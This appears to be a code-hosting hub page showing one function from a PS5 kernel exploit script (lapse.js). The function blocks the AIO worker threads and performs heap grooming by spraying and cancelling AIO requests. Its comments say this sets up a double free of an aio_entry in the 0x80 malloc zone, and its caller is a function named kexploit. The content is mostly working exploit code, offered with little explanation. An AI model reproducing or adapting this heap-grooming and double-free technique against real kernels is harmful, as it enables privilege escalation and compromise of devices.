MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / setup

Function setup

g2all/900/lapse.js:1648–1673  ·  view source on GitHub ↗
(block_fd)

Source from the content-addressed store, hash-verified

1646// FUNCTIONS FOR STAGE: SETUP
1647
1648function setup(block_fd) {
1649 // this part will block the worker threads from processing entries so that
1650 // we may cancel them instead. this is to work around the fact that
1651 // aio_worker_entry2() will fdrop() the file associated with the aio_entry
1652 // on ps5. we want aio_multi_delete() to call fdrop()
1653 log('block AIO');
1654 const reqs1 = new Buffer(0x28 * num_workers);
1655 const block_id = new Word();
1656
1657 for (let i = 0; i < num_workers; i++) {
1658 reqs1.write32(8 + i*0x28, 1);
1659 reqs1.write32(0x20 + i*0x28, block_fd);
1660 }
1661 aio_submit_cmd(AIO_CMD_READ, reqs1.addr, num_workers, block_id.addr);
1662
1663 log('heap grooming');
1664 // chosen to maximize the number of 0x80 malloc allocs per submission
1665 const num_reqs = 3;
1666 const groom_ids = new View4(num_grooms);
1667 const groom_ids_p = groom_ids.addr;
1668 const greqs = make_reqs1(num_reqs);
1669 // allocate enough so that we start allocating from a newly created slab
1670 spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false);
1671 cancel_aios(groom_ids_p, num_grooms);
1672 return [block_id, groom_ids];
1673}
1674
1675// overview:
1676// * double free a aio_entry (resides at a 0x80 malloc zone)

Callers 1

kexploitFunction · 0.70

Calls 6

logFunction · 0.90
aio_submit_cmdFunction · 0.70
make_reqs1Function · 0.70
spray_aioFunction · 0.70
cancel_aiosFunction · 0.70
write32Method · 0.45

Tested by

no test coverage detected